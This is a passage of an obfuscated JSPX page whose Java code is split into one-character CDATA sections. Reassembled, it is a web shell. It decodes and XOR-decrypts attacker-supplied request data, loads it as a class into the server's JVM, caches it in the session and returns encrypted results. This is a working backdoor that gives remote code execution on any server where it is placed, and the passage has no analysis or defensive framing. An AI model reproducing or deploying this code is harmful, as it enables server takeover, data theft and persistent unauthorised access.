]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[B]]><![CDATA[u]]><![CDATA[f]]><![CDATA[f]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]></jsp:declaration><jsp:scriptlet><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[P]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[x]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[)]]><![CDATA[;]]><![CDATA[i]]><![CDATA[f]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[=]]><![CDATA[=]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[t]]><![CDATA[h]]><![CDATA[i]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[e]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[s]]><![CDATA["]]><![CDATA[,]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[;]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[=]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[=]]><![CDATA[(]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[C]]><![CDATA[o]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[0]]><![CDATA[,]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[x]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[u]]><![CDATA[e]]><![CDATA[)]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ 